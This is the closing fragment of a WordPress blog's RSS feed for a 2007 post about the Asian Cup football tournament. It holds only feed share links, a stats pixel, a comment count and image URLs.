<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/janbin.wordpress.com/8/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/janbin.wordpress.com/8/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/janbin.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/janbin.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/janbin.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/janbin.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/janbin.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/janbin.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/janbin.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/janbin.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/janbin.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/janbin.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/janbin.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/janbin.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/janbin.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/janbin.wordpress.com/8/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=8&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://janbin.wordpress.com/2007/07/14/asian-cup-2007/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c12a92838ad2497a69e0d6c4d82e515d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">janbin</media:title>
		</media:content>

		<media:content url="http://www.kompas.com/photos/OLAHRAGA/asian_cup.jpg" medium="image" />

		<media:content url="http://www.kompas.com/photos/OLAHRAGA/asian_cup.jpg" medium="image" />

		<media:content url="http://203.146.102.21/impossible/images/wallpaper/1_1024x768.jpg" medium="image" />
	</item>
	</channel>
</rss>
